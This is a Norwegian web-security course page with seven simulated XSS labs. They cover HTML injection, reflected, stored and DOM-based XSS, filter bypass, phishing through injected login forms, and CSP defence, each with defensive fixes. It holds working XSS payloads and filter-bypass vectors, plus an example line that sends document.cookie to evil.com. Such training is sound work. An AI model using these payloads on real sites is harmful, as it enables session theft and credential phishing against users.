← Tilbake til oversikten
Modul 3
XSS & Websikkerhet

Angrip ekte (simulerte) nettsider. Hver lab har sin egen target site — fra enkel HTML-injeksjon til avansert filter-bypass og CSP-analyse.

7 labber Nivå 1–2: Lett Nivå 3–4: Middels Nivå 5–7: Hard
Fremgang0 / 7 fullført
01 HTML-injeksjon — BookShop søk
LettNivå 1
Nivå 1 — HTML-injeksjon

Søkefeltet til BookShop reflekterer input direkte med innerHTML. Det betyr at HTML-tagger tolkes. Forstå hva dette innebærer før du går videre til XSS.

Mål
1
Gjør et normalt søk — forstå hvordan siden fungerer
2
Injiser <h1>HACKET</h1> — hva skjer i outputen?
3
Injiser <img src=x> — lastes bildet?
4
Forklar: er HTML-injeksjon alene farlig?
Nettleseren tolker alt som HTML via innerHTML. Du kan formatere tekst — men for å kjøre JavaScript trenger du et script eller en event handler.
HTML-injeksjon viser at nettleseren aksepterer tagger. Ikke direkte farlig alene, men bevis på at innerHTML brukes — neste steg er å legge til JavaScript via event handlers.

Neste lab: onerror-attributtet kjører JS når et bilde feiler å laste.
Lab 1 fullført!
http://bookshop.no/search?q=
Hjem Kategorier Min konto

Norges største nettbokhandel

200 000+ titler

Søk blant alle bøker innerHTML
Resultat:
02 Reflected XSS — NewsPortal søk
LettNivå 2
Nivå 2 — Reflected XSS

NewsPortal reflekterer søkeinput med innerHTML. Nå er målet å faktisk kjøre JavaScript — ikke bare injisere HTML.

Mål
1
Bruk <img src=x onerror="..."> til å kjøre JavaScript
2
Få siden til å vise en synlig alert-boks
3
Prøv å lese document.cookie i payloaden
4
Forklar: hva ville en ekte angriper gjort videre?
Prøv: <img src=x onerror="document.getElementById('l2-cookie').style.display='block'">

onerror kjøres av nettleseren automatisk når bildet feiler å laste. src=x er en ugyldig URL som alltid feiler.
Payload: <img src=x onerror="document.getElementById('l2-cookie').style.display='block'">

En ekte angriper ville brukt: onerror="fetch('https://evil.com/?c='+document.cookie)" — sender session-cookien til angripers server i bakgrunnen, usynlig for brukeren.
Lab 2 fullført!
http://newsportal.no/search?q=
Nyheter Sport Økonomi

Siste nytt

Oppdatert hele døgnet

Søk i arkivet innerHTML
03 Stored XSS — TechForum kommentarfelt
MiddelsNivå 3
Nivå 3 — Stored XSS

TechForum lagrer kommentarer og viser dem til alle. En payload her kjøres for alle besøkende — ikke bare deg.

Mål
1
Legg igjen en normal kommentar — forstå flyten
2
Legg inn en XSS-payload som kommentar
3
Åpne siden som en annen bruker — kjøres payloaden automatisk?
4
Forklar hvorfor stored XSS er farligere enn reflected
Prøv en payload i kommentarfeltet: <img src=x onerror="this.closest('.ts-comment').style.outline='3px solid red'">

Deretter klikk "Simuer ny besøkende" — scriptet kjøres på nytt automatisk.
Stored XSS er verre fordi payloaden kjøres for alle som besøker siden — inkludert admins. En admin som besøker siden med payloaden kan miste sin session.

Fix: sanitér innput server-side før lagring i database, og bruk textContent ved visning.
Lab 3 fullført!
https://techforum.no/thread/42
Tråder Kategorier Logg inn
Diskusjon: Beste gratis VPN for 2026?
Postet av techguru99 · 47 svar
techguru99
Har noen testet ProtonVPN? Hørte det er bra.
securitymind
Mullvad er best for personvern etter min mening.
Legg til kommentar innerHTML
04 DOM-basert XSS — ShopNow velkommen-side
MiddelsNivå 4
Nivå 4 — DOM-basert XSS

ShopNow leser brukernavnet fra URL-parameteren ?name= og setter det inn med innerHTML — uten å sende noe til serveren.

Mål
1
Skriv et navn i "URL-parameteren" og se hva som skjer
2
Injiser en XSS-payload via "URL-parameteren"
3
Forklar: hvorfor ser aldri serveren denne payloaden?
4
Forklar: hvilken forsvarsstrategi virker mot DOM XSS?
URL-fragmentet (#hash) og URL-parametre lest med location.search sendes aldri til serveren — de lever kun i nettleseren. Server-side WAF og filtrering er blindt for dette angrepet.
DOM XSS-fix: Bruk textContent i stedet for innerHTML når brukerinput fra URL vises.

Alternativt: encode URL-parametre med encodeURIComponent() og decode med decodeURIComponent() — taggetegn blir da %3C og %3E, som innerHTML ikke tolker som HTML.
Lab 4 fullført!
https://shopnow.no/welcome?name=Ola
Hjem Produkter Handlekurv
Hei, Ola!

Velkommen tilbake til ShopNow

Simuler URL-parameter
I en ekte angrep ville angriperen sendt en URL med payload til offeret
?name= (simulert URL-parameter)
innerHTML — leser fra URL
05 Filter bypass — ContactForm beskyttelse
HardNivå 5
Nivå 5 — Filter bypass

ContactForm prøver å blokkere XSS ved å fjerne <script>-tagger. Men dette filteret er enkelt å omgå. Finn minst to metoder.

Mål
1
Bekreft at <script>alert(1)</script> blokkeres
2
Bypass filteret med event handler (uten <script>)
3
Bypass med uppercase: <SCRIPT>
4
Forklar hvorfor blacklist-filtrering alltid vil feile
Det finnes hundrevis av gyldige XSS-vektorer uten <script>:
<img onerror=...>
<svg onload=...>
<SCRIPT> (case sensitivity)
<scr<script>ipt> (dobbel-injeksjon hvis filter bare kjøres én gang)
Løsning: Blacklists er alltid ufullstendige. HTML har over 100 elementer og hundrevis av event handlers som kan kjøre JS.

Riktig tilnærming: Whitelist — tillat kun kjente trygge tagger (f.eks. <b>, <i>) med et bibliotek som DOMPurify. Alt annet strippes.
Lab 5 fullført!
https://contactform.no/contact
Kontakt oss Om oss
Send oss en melding
🛡 Filter aktivt: fjerner <script> og </script>
Navn Melding
06 Phishing via XSS — BankApp innloggingsside
HardNivå 6
Nivå 6 — XSS som phishing-vektor

BankApp har en XSS-sårbarhet i velkomstmeldingen. En angriper kan injisere et falskt innloggingsskjema — på ekte domene — som stjeler passord.

Mål
1
Injiser HTML som erstatter velkomstmeldingen med et falskt skjema
2
Klikk "Logg inn" på det falske skjemaet og se hva som fanges
3
Forklar: hvorfor er dette farligere enn vanlig phishing på annet domene?
4
Hva beskytter mot dette? (HttpOnly er ikke nok her — hvorfor?)
Prøv å injisere et falskt skjema:
<div style="background:white;padding:20px;border:2px solid red"><h3>Sikkerhetskontroll</h3><input placeholder="Passord"></div>
Farligere enn vanlig phishing fordi URL-en er ekte (bankapp.no). Hengelåsen viser HTTPS. Brukeren ser ingenting mistenkelig.

HttpOnly hjelper ikke — angriperen trenger ikke cookies. Han fanger passordet direkte via DOM-manipulasjon.

Forsvar: Fix XSS-kilden + CSP som blokkerer inline scripts.
Lab 6 fullført!
🔒 https://bankapp.no/velkommen?msg=
Min side Kontoer Logg ut
Velkommen tilbake!

Din saldo: 24 532,00 kr

Melding fra banken
Tilpasset melding via URL-parameter innerHTML
?msg= (simulert)
Meldingsinnhold:
Ingen nye varsler
07 Forsvar og CSP — PrivacyBlog patch
HardNivå 7
Nivå 7 — Forsvar og CSP

PrivacyBlog har to versjoner av kommentarfeltet: sårbart og patchet. Sammenlign dem, og forstå hva Content Security Policy (CSP) gjør på toppen.

Mål
1
Prøv samme XSS-payload på sårbar vs. patchet versjon
2
Les CSP-headeren — hva tillater og blokkerer den?
3
Forklar: er textContent alene nok, eller trenger vi CSP i tillegg?
4
Skriv en komplett forsvarsstrategi mot XSS (minst 4 lag)
CSP er en HTTP-header som instruerer nettleseren. script-src 'self' betyr at kun scripts fra samme domene kan kjøre — inline scripts blokkeres selv om XSS-payload injiseres.
Komplett forsvarsstrategi:
1. textContent / DOMPurify i frontend
2. Server-side sanitering før lagring i database
3. Output encoding ved visning (&lt; etc.)
4. CSP-header som blokkerer inline scripts
5. HttpOnly + Secure + SameSite på session cookies
6. Regelmessige pentester og SAST i CI/CD-pipeline
Lab 7 fullført!
https://privacyblog.no/post/1
Artikler Om
CSP-HEADER AKTIV
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none';
MODUS: innerHTML (sårbar)
alice
Flott artikkel om personvern!
← Kryptografi Neste modul: IDS/IPS →